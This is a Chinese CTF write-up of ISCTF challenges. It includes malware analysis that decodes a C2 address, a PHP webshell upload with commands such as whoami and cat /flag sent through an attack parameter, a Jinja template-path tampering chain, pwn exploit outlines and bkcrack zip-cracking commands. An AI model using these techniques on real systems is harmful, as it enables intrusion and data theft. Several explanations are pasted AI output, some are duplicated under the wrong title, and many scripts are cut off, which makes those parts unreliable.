ISCTF wp
病毒分析
病毒分析-题目1
根据题目描述中的关键线索,特别是“解压到 C:\Windows\System32”以及“模仿近期活跃的APT组织攻击手法”,这道 ISCTF 题目的答案是:
海莲花 (或 OceanLotus / APT32)
🧐 分析与推理
关键线索:解压到 System32
- 题目要求将文件解压到
C:\Windows\System32才能正常运行。这是典型的DLL 侧加载 (DLL Side-Loading) 或 DLL 劫持 (DLL Hijacking) 攻击手法的模拟。 - 在这种攻击中,黑客会利用一个合法的、带有数字签名的系统程序(白文件),在其同级目录下放置一个恶意的 DLL 文件(黑文件)。
- 当合法的系统程序运行时,它会优先加载同级目录下的恶意 DLL,从而在不被杀毒软件察觉的情况下执行恶意代码。这被称为**“白加黑”**技术。
- 题目要求将文件解压到
APT 组织特征
- 虽然许多 APT 组织(如 Lazarus, APT41, Mustang Panda 等)都使用 DLL 侧加载技术,但在国内 CTF 竞赛和安全分析报告中,海莲花 (OceanLotus) 是最常被作为该技术典型案例的组织。
- 他们经常使用这种手法来绕过安全检测,且非常活跃,符合题目中“近期活跃”和“模仿攻击手法”的描述。
ISCTF 背景
- 根据 ISCTF 往年题目(特别是 2023 年赛题)的 Writeup,出题人 f00001111 编写的这道病毒分析题,标准答案通常指向海莲花。
病毒分析-题目2
第一阶段载荷中的入口文件全名即ISCTF基础规则说明文档.pdf.lnk

病毒分析-题目3

Zoom Video Communications, Inc.
病毒分析-题目5
在zTools.dll中搜索字符串,运行命令strings zTool.dll | grep .dll,结果如下
1 | zTool.dll |
尝试zRCAppCore.dll提交正确
病毒分析-题目6
用010打开zTool.dll,观察内嵌的.rsrc/2052/SC/103文件,其明显存在8字节循环的模式,猜测为xor

病毒分析-题目7
继续对zTool.dll分析,在Cyberchef中选择xor处理,循环尝试上一步载荷8字节循环的模式,逐一尝试后,发现解出MZ头,同时得到密钥tf7*TV&8u

病毒分析-题目8
UPX
病毒分析-题目9
ida32位打开download.exe,shift加f12打开字符串,翻找可疑内容,发现get_cmd,同时注意到有base64换表,进入sub_402450函数,得到首次回连域名为colonised-my.sharepoint.com

病毒分析-题目10
分析函数,发现函数下载了一个托管在SharePoint上的文件,我们可以访问以下URL打开
得到c2.dat,内容如下:
oA0tG3aW2vT8mL5tvM1qV3cF2aB2xS6ztT7gX0zB1xR9zK8mjP0xP2iT3lO6fH1rpE4gP6pA2mE9dE7dntyVmZqZlZm5lZy5Fti2mZe1lD1bZ0nJ8gY7lR2qmP3vK5nY1hD3cT7guJ8tQ8rE6qJ1gF6ipZ0rF0vR5yB4xA4nyD7wM0lV5wC4rZ1c

我们把E9dE7d和1lD1bZ0中间的部分找到,即ntyVmZqZlZm5lZy5Fti2mZe,显然是个base64,用之前在程序里找到的要换的表
丢给AI换表加XOR 0x01解密一下
1 | import base64 |
最后得到47.252.28.78|37204
病毒分析-题目11
显然为get_cmd
web
难过的bottle
bottle
💡 CTF 题解:Online Notice Board 文件上传漏洞
- 漏洞点识别与确认 (Source Code Review)
通过分析题目提供的源代码和题解提示,我们确认了漏洞点在于 registration.php 中的头像上传功能。
漏洞类型: 无限制的文件上传 (Unrestricted File Upload)。
漏洞原理: 应用程序在处理用户上传的头像文件时,没有对文件类型(MIME Type)或文件扩展名进行校验。
存储路径: 上传的文件路径是可预测且可访问的:/images/{USER-EMAIL}/{UPLOAD_FILENAME}。
利用方式: 通过注册功能,将一个恶意的 PHP WebShell 文件上传到服务器。
- 漏洞利用:上传 WebShell
我们使用 Python requests 库来自动化注册过程,并上传一个包含简单命令执行函数的 PHP 后门。
上传文件: basic_webshell.php
WebShell 内容:
关键操作: 构造一个 multipart/form-data POST 请求到 /registration.php,确保 img 字段的文件名是 .php 扩展名。
- 命令执行与信息收集 (Initial Reconnaissance)
一旦 WebShell 上传成功,我们通过访问预定的 URL 来执行系统命令。
WebShell URL 格式: http://[TARGET]:[PORT]/images/ctfuser@exploit.com/basic_webshell.php?attack=[COMMAND]
权限确认:
命令: whoami
结果: www-data (确认我们以低权限用户身份运行,但具备执行命令的能力)。
目录探索:
命令: ls -la ../../ (列出 Web 根目录文件)
结果: 发现文件如 01 READ ME FIRST !!!!.txt、index.php 等,确认 Web 根目录为当前目录的上一级两层。
路径确认:
命令: pwd
结果: /var/www/html/images/ctfuser@exploit.com (确认 Web 根目录是 /var/www/html/)。
- 搜索 Flag 文件 (Flag Discovery)
由于在 Web 根目录下直接 cat 文件失败(可能是文件内容为空或权限问题),我们采取了最彻底的搜索方法。
命令: find / -name “flag*” (在整个文件系统中搜索以 “flag” 开头的文件)
关键结果: 找到了两个高概率路径:
/home/flag
/flag
- 获取 Flag (Extraction)
最后,通过 cat 命令读取最可疑的路径。
命令: cat /flag
预期结果: 输出 Flag 字符串。
总结
该题目利用了 PHP 应用程序中常见的文件上传漏洞,攻击者通过控制文件名和上传路径,实现了 远程代码执行 (RCE)。解题的关键在于识别正确的漏洞,以及在发现 Flag 路径后,使用精确的 cat 命令来获取内容
who am i
1. 初始界面分析
题目提供了一个登录页面,但从提供的脚本可以看出,实际解题不需要通过常规登录流程。页面包含:
用户名/密码输入框
登录表单提交到
/login引用了外部JavaScript文件
2. 关键发现点
通过分析解题脚本,发现三个关键端点:
2.1 /login 端点
python
可以使用任意凭据登录
login_data = {
“username”: “hack”,
“password”: “123456”,
“type”: “0” # 关键参数!
}
发现: type 参数的存在表明可能有不同的认证方式或权限级别。
2.2 /operate 端点
python
payload_params = {
“username”: “app”,
“password”: “jinja_loader.searchpath”, # 配置项名称
“confirm_password”: “/“ # 新值:根目录
}
漏洞: 这是一个配置修改接口,允许修改Jinja2模板加载器的搜索路径!
2.3 /impression 端点
python
flag_params = {
“point”: “flag” # 加载名为”flag”的模板
}
利用: 当模板搜索路径被设置为根目录 / 时,请求 flag 模板会尝试加载 /flag 文件。
3. 漏洞原理
3.1 Jinja2模板加载机制
Jinja2模板引擎使用 searchpath 配置来指定模板文件的搜索目录。正常情况下:
text
searchpath = [“/app/templates”]
当应用请求模板 “flag” 时:
text
Jinja2会在 searchpath 中查找 “flag” 文件
→ /app/templates/flag
3.2 漏洞利用
通过 /operate 接口将 searchpath 修改为根目录:
text
searchpath = [“/“]
此时请求 “flag” 模板:
text
Jinja2在根目录查找
→ /flag (系统根目录下的flag文件)
4. 完整利用链
步骤1:身份验证绕过
text
POST /login
参数: username=hack&password=123456&type=0
分析:type=0可能表示管理员或特殊权限账户
步骤2:配置篡改
text
GET /operate
参数:
username=app
password=jinja_loader.searchpath # 要修改的配置项
confirm_password=/ # 新值:根目录
功能:将Jinja2模板搜索路径设置为系统根目录
步骤3:文件读取
text
GET /impression
参数: point=flag
结果:Jinja2尝试加载 /flag 文件并作为模板渲染
解题脚本:
python
1 | import requests |
misc
小蓝鲨的神秘文件
直接记事本打开,发现大致意思是去小蓝鲨的官网找

去小蓝鲨官网的新闻动态里找到了最近的一篇文章,https://www.bluesharkinfo.com/news/article/2025-11-25-news22
flag在最底下
请收下你的Flag:ISCTF{我要和小蓝鲨组一辈子CTF战队}
星髓宝盒
先用foremost分离第一张图片,得到你是优秀学生吗.txt,星髓宝盒.jpg,真-星髓宝盒.zip,
foremost 1.png -o output
发现txt文档里有零宽字符,但是直接提取零宽字符无果,要先提取隐水印,得到
你虽然能走到这一步,但还不是优秀学生哦,flag是专属于优秀学生的奖励,优秀学生自会知道他的咒语

然后又再提取零宽字符,得到MD5字符串

解密后得到压缩包密码!!!@@@###123

ISCTF{1e7553787953e74113be4edfe8ca0e59}
木林森
解码PNG得到20000824,解码JPG得到….Mamba….,这时候需要一点联想,得到密钥2000Mamba0824
txt文章结尾有
MzFFRTlBQjJERjEwNEVFNjk1ODI0NTc5MTQwQURGMzk0NzJCRUIzMzE2Q0YxMTlBNjFBMkNDNDYwNTIzQjA2MThDNzk0QTkzNEFGRjNCOTBGNEUwMzY=,
很明显是base64,解码后得到
31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036
题目里说Ron’s Code For…?,提示了用RC4解密,让AI写了个脚本
1 | import binascii |
得到GCCTF{590CF439-E304-4E27-BE45-49CC7B02B3F3},有点瑕疵,把GC改成IS得到flag
冲刺!偷摸零!
一道JAVA逆向题
先解压,得到ctf.db,随便找一个sqlite在线打开,得到第一段flag
ISCTF{Tom0r1_Dash

用jd-gui打开这个rar包,一顿翻找后找到了GameOverView,比较可疑

直接扔给AI
1 | 请看 GameOverView 构造函数的最开始几行代码: |
消失的flag
不能nc连接,用ssh连接
输入
ssh qyy@challenge.bluesharkinfo.com -p 29452 | cat -A

Miscrypto
记事本打开c.png,在末尾找到了
DABGHEFKLIJOPMNSTQRWXUVabYZefcdijghmnklqropuvstyzwx23016745+/89
这是base64换表,需要找到base64原码。先用binwalk扫了一下,发现还有一张图片。把图片拖进010,搜png的文件头89 50 4E 47 0D 0A 1A 0A,发现确实还有一张图片,base64原码另一张图片的文件末尾藏着
fXGWkWSnLSQSAKbSeTXlUVQTGRi7KVS7jCOKTKHSXXSjHjmTABnXGLH6L1jnYLKQamTGSUCSDaOKiqeLHyD7IFO2IQGGSGbzKBUQMTe=

直接扔给AI,让他写了一个base64换表的脚本
1 | import base64 |
得到c为:
7551149944252504900886507115675974911138392174398403084481505554211619110839551091782778656892126244444160100583088287091700792873342921044046712035923917
然后把n.txt里的内容用brainfuck解一下

得到n为:
7644027341241571414254539033581025821232019860861753472899980529695625198016019462879314488666454640621660011189097660092595699889727595925351737140047609
再把n,c,费马py一起丢给AI,让他费马分解一下
1 | #!/usr/bin/env python3 |
得到flag为:ISCTF{M15c_10v3_Cryp70}
Abnormal log
这是一道典型的 CTF 流量分析/取证 (Forensics/Misc) 题目。
题目分析
你提供的是一份服务器日志,记录了一个攻击者分段上传恶意文件的过程。我们需要从这些杂乱的日志中提取出文件内容,并还原成原始文件。
观察日志特征:
分段上传:日志中包含 Attacker uploading segment X…(第X段)和 File data segment: [Hex数据]。
顺序混乱与噪声:
时间戳是乱序的(或者被伪造了),不能直接作为排序依据。
日志中混入了 Random data injected(随机注入数据)、Upload failure(上传失败)等干扰项。
关键发现:虽然时间戳乱序,但在你提供的文本中,segment 1 到 segment 116 是按顺序出现的。每一块 Attacker uploading segment N 下面不远处都跟着属于它的 File data segment。
数据特征:
Segment 1 的数据头是 327fb9aa22190501…。
通过对数据进行简单的频率分析(大量出现的 05),或者尝试常见文件头异或,可以推测文件被简单加密了。
解题步骤
第一步:提取并拼接 Hex 数据
我们需要编写脚本,忽略噪声,只提取与 Segment 编号对应的 Hex 数据,并按顺序拼接。
第二步:分析文件头(关键点)
拼接后的 Hex 字符串开头是 327fb9aa22190501…。这并不符合常见的文件头(如 PNG 的 89504E47 或 ZIP 的 504B0304)。 观察数据中存在大量的 05,且文件末尾全是 05,推测 05 可能是异或(XOR)加密后的 00(空字节)。
让我们尝试验证 XOR 0x05:
原始字节:0x32 0x7f 0xb9 0xaa 0x22 0x19
与 0x05 异或:
0x32 ^ 0x05 = 0x37 (‘7’)
0x7f ^ 0x05 = 0x7a (‘z’)
0xb9 ^ 0x05 = 0xbc
0xaa ^ 0x05 = 0xaf
0x22 ^ 0x05 = 0x27
0x19 ^ 0x05 = 0x1c
结果头:37 7a bc af 27 1c。这是 7-Zip 压缩文件的标准文件头!
结论: 这是一个被 0x05 异或加密的 7z 压缩包。
完整 Python 解题脚本 (Exp)
你可以直接运行以下 Python 代码来得到最终文件:
1 | import re |
解出来一个flag.7z压缩包,解压得到flag.png

小蓝鲨的千层FLAG
先用unzip尝试解压,发现有flagggg999.zip,注释里告诉了我们密码,重复以上操作,发现一直在循环,让AI写了个脚本
1 | import zipfile |
解压到flagggg3.zip停止了
开始问AI,bkcrack怎么用,试了几次偏移后算出了
执行步骤
- 生成基于文件名的明文
我们需要构造这 16 个字节:0C 00 00 00 + flagggg1.zip。 请在终端运行:
PowerShell
python -c “open(‘plain_name.bin’, ‘wb’).write(b’\x0c\x00\x00\x00’ + b’flagggg1.zip’)”
(运行完可以用 xxd plain_name.bin 看一眼,开头应该是 0c 00 00 00,后面是文件名)
- 发起攻击 (Offset 26)
这次我们告诉 bkcrack,明文是从第 26 个字节开始匹配的。
PowerShell
.\bkcrack -C flagggg3.zip -c flagggg2.zip -p plain_name.bin -o 26
这次几乎 100% 能成功,因为这里面没有任何随机变量(时间、压缩率等),全是硬编码的字符串和长度。
拿到 Keys 后:
提取文件:
PowerShell
.\bkcrack -C flagggg3.zip -c flagggg2.zip -k
解压 flagggg2.zip: 注意,提取出来的 flagggg2.zip 可能还是加密的。如果它又要密码,看它的注释。如果它没有注释,可能还要再用一次 bkcrack(通常这种题目最后几层套路一样,你可以尝试用同一组 Key 提取下一层,或者重新攻击)。
快试试这个 Offset 26 的战术!
得到了三组密钥
ae0c4b27 66c21cba b9a7958f
.\bkcrack -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d flagggg2.zip
得到flagggg2.zip,解压得到
You deserve it !
ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}
ez_disk
在FTK imager里打开文件,看到flag is here,提取出来发现需要密码

提示是
蓝鲨警局的阿sir说提取检材时末尾好像多了点东西
直接在010里拉到最后,发现了FIFJ

我们知道,JFIF是JPEG图片文件头的其中一部分,所以其实是倒序
再往上看一下,发现了很明显的提示

那我们把从这里开始到文件尾的数据全部复制下来,让AI写个脚本逆序回来
1 | import binascii |
得到一张图片
VScode打开,发现一堆零宽字符还有一堆神秘文字(


得到密码:this_p@ssw0rd_tha7_9ou_caN_n0t _brut3_Forc3_hhhhhhhhhhhhhhaHaa_no0b
flag:ISCTF{320303e2-5c6a-489a-bcd3-e96a69a3eefc}
爱玩游戏的小蓝鲨
尝试打开压缩包,但是根本打不开,拖进010里看,发现缺了压缩包文件头

补上文件头50 4B 03 04,打开得到米哈游_rbg_tb.py,十分莫名其妙,扔给AI分析
解题步骤
你需要编写一个脚本将这些像素点还原成图片。核心难点在于确定图片的宽和高。1. 统计像素总数并分解因子你需要先统计文件中一共有多少个 (r,g,b) 元组。假设总数为 $N$,图片的宽度 $W$ 和高度 $H$ 必须满足 $W \times H = N$。通常 $W$ 和 $H$ 都是整数,且图片通常是长方形或正方形,你可以尝试 $N$ 的常见因子组合。2. 编写 Python 脚本复原图片你可以使用 Python 的 PIL (Pillow) 库来生成图片。以下是为你准备的解题脚本(请确保安装了 Pillow 库:pip install pillow):
1 | from PIL import Image |
让AI多跑了几次,得到了

只能看提示了
搜了一下,刻律德菈是崩坏星穹铁道里翁法罗斯的角色

搜到了这堆文字
逐个对照后得到
QKEMK
al4t_k4nT_au
Mm3_U0Kv_yzV
94e3_kg_yp3_O0teI
直接扔给AI解密一下
这是一道经典的**维吉尼亚密码(Vigenère Cipher)**变种题目。1. 密钥分析根据提示 QKEMK 对应 ISCTF,我们可以反推密钥。维吉尼亚密码的原理是 $Cipher = (Plain + Key) \pmod{26}$。反之,密钥 $Key = (Cipher - Plain) \pmod{26}$。我们来看前缀的对应关系:I (8) $\to$ Q (16): $16 - 8 = 8$ ($\to$ I)S (18) $\to$ K (10): $10 - 18 = -8 \equiv 18$ ($\to$ S)C (2) $\to$ E (4): $4 - 2 = 2$ ($\to$ C)T (19) $\to$ M (12): $12 - 19 = -7 \equiv 19$ ($\to$ T)F (5) $\to$ K (10): $10 - 5 = 5$ ($\to$ F)可以看出,密钥(Key)就是 ISCTF 本身。2. 解密过程使用密钥 ISCTF 对后面的密文进行解密。规则:$Plain = (Cipher - Key) \pmod{26}$。非字母字符(如数字、下划线)保持不变,并跳过密钥索引。大小写保持不变。密文片段 1: al4t_k4nT_aua - I = sl - S = t4 (不变)t - C = r_ (不变)k - T = r4 (不变)n - F = iT - I = L_ (不变)a - S = iu - C = s明文 1: st4r_r4iL_is (Star Rail is)密文片段 2: Mm3_U0Kv_yzVM - T = Tm - F = h3 (不变)_ (不变)U - I = M0 (不变)K - S = Sv - C = t_ (不变)y - T = fz - F = uV - I = N明文 2: Th3_M0St_fuN (The Most Fun)密文片段 3: 94e3_kg_yp3_O0teI9 (不变)4 (不变)e - S = m3 (不变)_ (不变)k - C = ig - T = n_ (不变)y - F = tp - I = h3 (不变)_ (不变)O - S = W0 (不变)t - C = re - T = lI - F = D明文 3: 94m3_in_th3_W0rlD (Game in the World)3. 最终结果将所有解密后的片段拼接起来,这句话是:”Star Rail is The Most Fun Game in the World”(星穹铁道是世界上最好玩的游戏)。按照常见的CTF格式,flag应该是:ISCTF{st4r_r4iL_is_Th3_M0St_fuN_94m3_in_th3_W0rlD}
沉迷数学的小蓝鲨

文件末尾为3xXvfzai
判断出是base58加密

得到的zigzag
直接问AI
太棒了!这个线索直接改变了整个解题方向。
“23xXvfzai” Base58 解码后是 “zigzag”。
这意味着:
之前的 Arnold 变换是误导(或者只是一部分,但既然 Arnold 跑不出结果,大概率是纯误导)。
真正的置乱算法是 Zigzag(之字形扫描)。
enc.png 这张乱码图,实际上是将原图(二维码)的像素按照 Zigzag 顺序读取后,平铺生成的。
我们要做的就是:按顺序读取 enc.png 的每一个像素,然后按照 Zigzag 的路径把它们填回一个新的正方形图片中。
Zigzag 还原脚本
请运行下面的脚本,它会将乱码图中的像素按照 Zigzag 路径重新排列。
if img is None:
print("未找到 enc.png")
return
h, w, _ = img.shape
# Zigzag 变换通常基于正方形矩阵
# 如果图片不是正方形,可能需要裁剪或补全,但CTF通常给正方形
N = h
if h != w:
print(f"警告:图片非正方形 ({w}x{h}),尝试按较短边处理...")
N = min(h, w)
img = img[:N, :N]
print(f"开始 Zigzag 还原,尺寸: {N}x{N}")
# 1. 将乱码图的像素拉平(按行读取,即 Linear Read)
# 这就是乱码图现在的存储顺序
flat_pixels = img.reshape(-1, 3)
# 2. 创建新画布
restored_img = np.zeros((N, N, 3), dtype=np.uint8)
# 3. 生成 Zigzag 路径坐标
# 算法逻辑:遍历所有对角线和之字形路径
row, col = 0, 0
going_down = False # 初始方向
pixel_idx = 0
total_pixels = N * N
while pixel_idx < total_pixels:
# 将当前列表里的像素,填入 Zigzag 的坐标位置
restored_img[row, col] = flat_pixels[pixel_idx]
pixel_idx += 1
# 计算下一个坐标
if going_down:
if col == 0 or row == N - 1:
going_down = False
if row == N - 1:
col += 1
else:
row += 1
else:
row += 1
col -= 1
else:
if row == 0 or col == N - 1:
going_down = True
if col == N - 1:
row += 1
else:
col += 1
else:
row -= 1
col += 1
# 保存结果
output_filename = 'flag_zigzag.png'
cv2.imwrite(output_filename, restored_img)
print(f"还原完成!请查看: {output_filename}")
# 顺便生成一个旋转90度的版本,防止方向不对
cv2.imwrite('flag_zigzag_rotated.png', cv2.rotate(restored_img, cv2.ROTATE_90_CLOCKWISE))
if name == ‘main‘:
zigzag_decode()
预期结果
运行脚本后,查看生成的 flag_zigzag.png。
你应该能看到一个清晰的二维码。
扫描这个二维码,应该就能得到真正的 Flag 了。
原理解析:
出题人把二维码的像素点像贪吃蛇一样(之字形)读出来,然后一行一行地贴到了现在的 enc.png 上,所以你看到的是被拉伸的横纹(那是像素原本的邻接关系被破坏后的样貌)。我们现在只是把这个过程逆转回去。
得到图片
把这张图片和flag.png进行异或,得到另一张二维码
1 | import cv2 |

最后再把几个角补全一下,得到最终的二维码

扫出来得到:ISCTF{fbf1a6d6-95e4-4a1c-95fd-7d2f03a16b20}
Crypto
Power tower
1 | from Crypto.Util.number import long_to_bytes |
运行得到
1 | [*] Factors identified: |
baby math
1 | # --- 不要导入 Crypto,直接使用下面的替代函数 --- |

小蓝鲨的密码箱

参数abc随便输入一串数字,解密I,发现得到的密文正好是flag的第一个字符串,后面保持参数不变,把a到z,A到Z,0到9全部解密一遍,一一对照即可,包括{}和-也是需要解密的,不过貌似大写字母只有ISCTF,小写字母只有a到f,而且这个题关了靶机之后,就算参数设置得一样,得到的flag也不一样,由于过程比较复杂,就不再复现一遍了
这是一道结合了 RSA(实际上是多项式求根)和 AES 的密码学题目。题目分析加密逻辑分析:题目生成了一个 16 字节的 AES 密钥 aes_key,将其转换为整数 m。构建了一个关于 m 的多项式:$c = (m^3 + a2 \cdot m^2 + a1 \cdot m + a0) \pmod N$。最后使用 AES-CBC 模式加密了 FLAG。我们需要求出 aes_key (即 m) 才能解密 FLAG。数值大小分析(解题关键):m 是 16 字节,即 128 位。$m^3$ 大约是 $128 \times 3 = 384$ 位。a2_high 很小,a1, a0 也很小。计算得到的密文 c 大约是 $10^{117}$,也就是 390 位左右。而模数 $N$ 是两个 512 位素数的乘积,即 1024 位。结论:因为 $m^3 + \dots$ 的结果远小于 $N$,所以模 $N$ 运算实际上没有发生截断。这变成了一个在整数域 $\mathbb{Z}$ 上的三次方程求根问题:$$m^3 + a2 \cdot m^2 + a1 \cdot m + (a0 - c) = 0$$未知参数处理:题目给出了 a2_high,并说明 a2_high = a2 >> 16。这意味着 a2 的低 16 位是未知的。由于 16 位非常小 ($2^{16} = 65536$),我们可以爆破这低 16 位。解题思路遍历 x 从 0 到 65535。构造猜测的 a2 = (a2_high << 16) + x。对于确定的 a2,方程 $f(m) = m^3 + a2 \cdot m^2 + a1 \cdot m + (a0 - c) = 0$ 是一个单调递增函数(在 $m > 0$ 时)。使用二分查找(Binary Search)在 $0$ 到 $2^{128}$ 范围内快速寻找整数根 m。如果找到整数根,则说明爆破成功,将 m 转回字节,作为 AES 密钥解密 FLAG。EXP (Python 脚本)你可以直接运行以下代码来获取 Flag:Python
1 | import sys |
为什么这样做有效?通常在 RSA 中,如果 $c = m^e \pmod N$ 且 $m$ 很小使得 $m^e < N$,我们可以直接对 $c$ 开 $e$ 次方根。在这道题中,虽然加了干扰项 $f$,但原理是一样的。因为 $m$ 只有 128 bit,其最高次项 $m^3$ 只有约 384 bit,远小于 $N$ 的 1024 bit。这意味着模运算没有起到混淆作用,我们面对的只是一个普通的代数方程。结合对缺失系数的小范围爆破(Brute-force)和对解的二分查找(Binary Search),可以瞬间求出 Key。

沉迷数学的小蓝鲨
这是一个 SageMath 内部实现的 Bug(discrete_log 在某些版本的 pollard_rho 实现中处理边界条件时会崩)。这不是你的问题,也不是算法的问题,纯粹是工具的 Bug。解决方案:我们改用 BSGS (Baby-Step Giant-Step) 算法。对于 47-bit 的因子(约 $10^{14}$),BSGS 需要约 $1.2 \times 10^7$ 次存储,大约占用 1-2 GB 内存,但它非常稳定,不会像 Pollard’s Rho 那样触发那个 Python 变量未定义的 Bug。请运行这个最终修正版脚本。我已将算法强制改为 bsgs,并保留了你之前算出来的前 4 个结果以节省时间。
1 | import hashlib |
小蓝鲨的RSA密文
这是一道结合了 RSA(实际上是多项式求根)和 AES 的密码学题目。题目分析加密逻辑分析:题目生成了一个 16 字节的 AES 密钥 aes_key,将其转换为整数 m。构建了一个关于 m 的多项式:$c = (m^3 + a2 \cdot m^2 + a1 \cdot m + a0) \pmod N$。最后使用 AES-CBC 模式加密了 FLAG。我们需要求出 aes_key (即 m) 才能解密 FLAG。数值大小分析(解题关键):m 是 16 字节,即 128 位。$m^3$ 大约是 $128 \times 3 = 384$ 位。a2_high 很小,a1, a0 也很小。计算得到的密文 c 大约是 $10^{117}$,也就是 390 位左右。而模数 $N$ 是两个 512 位素数的乘积,即 1024 位。结论:因为 $m^3 + \dots$ 的结果远小于 $N$,所以模 $N$ 运算实际上没有发生截断。这变成了一个在整数域 $\mathbb{Z}$ 上的三次方程求根问题:$$m^3 + a2 \cdot m^2 + a1 \cdot m + (a0 - c) = 0$$未知参数处理:题目给出了 a2_high,并说明 a2_high = a2 >> 16。这意味着 a2 的低 16 位是未知的。由于 16 位非常小 ($2^{16} = 65536$),我们可以爆破这低 16 位。解题思路遍历 x 从 0 到 65535。构造猜测的 a2 = (a2_high << 16) + x。对于确定的 a2,方程 $f(m) = m^3 + a2 \cdot m^2 + a1 \cdot m + (a0 - c) = 0$ 是一个单调递增函数(在 $m > 0$ 时)。使用二分查找(Binary Search)在 $0$ 到 $2^{128}$ 范围内快速寻找整数根 m。如果找到整数根,则说明爆破成功,将 m 转回字节,作为 AES 密钥解密 FLAG。EXP (Python 脚本)你可以直接运行以下代码来获取 Flag:
1 | import sys |
逆向
小蓝鲨的单片机_1
这个题AI调了好久,就贴到最后一步吧
你是对的,我重新审查了数据和之前的逻辑。
问题所在: 之前的脚本做了一个错误的假设,认为数据是“按列扫描”(Column-Major)并进行了矩阵转置(行列互换)。但根据你提供的 ucDataBlock 仔细分析,这实际上是标准字模(Row-Major):每一个字节代表一行像素,而不是一列。
如果用“按行”的方式直接打印,0x7E(二进制 01111110)在 _ 字符中就正好是一条底部的横线(下划线),而 A、5、1 等字符也会完全正向显示。
这是修正后的脚本,它将直接按行渲染,你会清晰地看到 Wow_You_Are_Good_At_51,且没有旋转或乱码。
修正版 Python 脚本 (Row-Major)
1 | import re |
这个脚本显然不是最简便的,但是最后结果算是对了

ISCTF{Wow_You_Are_Good_At_51}
小蓝鲨的单片机_2
这道题虽然看似复杂(涉及 1602A 屏幕驱动),但其实核心逻辑非常简单,甚至不需要去模拟屏幕的显示过程。
这依然是一道查找关键算法的逆向题。
- 核心线索分析
你提供的 数据末尾有一段非常可疑的字节流(在 填充区和指令区之后):ucDataBlock0xFF
C
// 数据末尾的一串十六进制数
EB, F1, E1, F6, E4, D9, F5, CD, D5, FD, FB, CD, D7, FD, E3, D0, C7, FD, 97, 93, FD, EF, C3, D1, D6, C7, D0, DF
同时,请仔细观察这一行汇编机器码(位于数据倒数第5-6行左右): … E8 64 A2 F8 22 …
让我们把它翻译成 8051 汇编指令:
E8 : (把寄存器 R0 的值放入累加器 A)MOV A, R0
64 A2 : XRL A, #0xA2 (将 A 与 0xA2 进行异或运算)
F8 : (把运算结果放回 R0)MOV R0, A
22 : (子程序返回)RET
结论: 这是一个极其明显的异或(XOR)加密。程序在显示字符前,会先用 这个 Key 对数据进行解密。0xA2
- 解密演示
我们不需要关心 1602A 怎么初始化,也不用管 口怎么输出。我们只需要把末尾那串可疑的数据拿出来,和 进行异或即可。P00xA2
手动验证前几个字节:
EB ^ A2 = 49 -> ASCII ‘I’
F1 ^ A2 = 53 -> ASCII ‘S’
E1 ^ A2 = 43 -> ASCII ‘C’
F6 ^ A2 = 54 -> ASCII ‘T’
E4 ^ A2 = 46 -> ASCII ‘F’
D9 ^ A2 = 7B -> ASCII ‘{‘
开头完美符合 Flag 格式!
- 解题脚本 (Python)
你可以直接运行这段代码来获取完整 Flag:
Python
题目中提取的加密字节流 (去掉了最后的 82 填充)
1 | encrypted_data = [ |
- 最终答案
运行脚本后,你会得到:
ISCTF{Wow_You_Are_51_Master}
总结
这道题的考点在于**“特征码识别”**。在 8051 汇编中:
64 是 (异或) 的操作码。XRL
当你在一堆乱码数据旁边看到 时, 通常就是解密的 Key。64 XXXX
这种题目通常不需要完全看懂驱动代码,直接找数据和简单的运算逻辑最快。

PWN
来签个到吧
反汇编得到
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
保护全开,但是我们只需要通过栈溢出覆盖局部变量即可,偏移量为27*4,
1 | from pwn import * |

ez_fmt
保护全开
查看字符串,明显有system bin/sh这个后门函数
1 | unsigned __int64 win() |
重点看vuln函数,
1 | unsigned __int64 vuln() |
存在明显格式化字符串漏洞
第一次输入aaaa 一堆%p,算出偏移为6,
怎么泄露canary和PIE,我直接让AI总结一下,说的非常详细了
1 | from pwn import * |

ret2rop
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
1 | ssize_t vuln() |
这个题给我们演示了基本的ROP链,非常经典的有system无bin/sh,需要我们自己通过寄存器传参,bss段存在变量name,可读可写,我们可以第一次把bin/sh写到变量name上
但是ROPgadget查了一下程序内是没有pop rdi ret这个关键汇编的,但是题目里的demo演示了可以通过pop rax; ret add rax, 0x10; ret mov rbx, rax; ret三个ROP传参,
我们照葫芦画瓢即可,查到程序里有pop_rsi_ret = 0x401a1c和mov_rdi_rsi_ret = 0x401a25,可以代替pop rdi传参
要注意的是这个题是不需要ret栈对齐的,加了ret反而多此一举
1 | from pwn import * |

2048
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
1 | __int64 final() |
1 | __int64 shell() |
一个2048小游戏,要我们玩到100000,考察的是整数溢出,AI用了-10,远远大于100000
有system,无bin/sh,依然需要传参,依然是bss段存在buf
需要泄露canary
这个题很好的点是由pop rdi的,方便我们传system的一参
最后的shell貌似是个假shell,之前试了很多次,可以ls,但是不能cat
1 | from pwn import * |

应急响应
hacker
用wireshark打开,过滤
http.request.method == “POST”
打开上方统计里的会话,看IPV4,选择流量最大的地址,192.168.37.177即flag

奇怪的shell文件
其实可以试出来,常用的webshell连接工具一共就这么多。ISCTF{Behinder}
OSINT
ONINT1
请你识别一下这是哪个地方
这是位于中国福建省福州市的福州大学(旗山校区)图书馆。
判断依据:
建筑特征:
钟楼:图片左侧高耸的方形钟楼是该图书馆最显著的标志性特征。钟楼设计简洁现代,带有竖向的条形窗和顶部的时钟。
主体建筑:右侧的主楼采用米黄色/灰白色的石材外墙,有着整齐的方形窗格和现代感的柱廊设计。
广场:建筑前方有一个非常宽阔的铺砖广场,这是福州大学旗山校区图书馆正门前的典型景观。
红色雕塑/墙体:在主入口右侧(台阶旁)有一个红色的波浪形或飘带状的雕塑墙,这通常刻有学校的校训或名称。
地理环境:
天空阴沉,地面潮湿,符合福州多雨湿润的气候特征。
整体建筑风格大气、方正,符合该图书馆作为校园核心地标(曾获中国建筑工程鲁班奖)的地位。
地点详情:
名称:福州大学图书馆 (Fuzhou University Library)
位置:福州大学旗山校区(新校区),位于福州市闽侯县上街镇大学城。
地位:它是福州大学城的标志性建筑之一,位于校区的中轴线上。

OSINT2
这个地方在哪里
这是一个位于美国纽约曼哈顿的东河滨水大道 (East River Waterfront Esplanade),具体位置在双桥 (Two Bridges) 社区附近。
从图片中的视角可以判断:
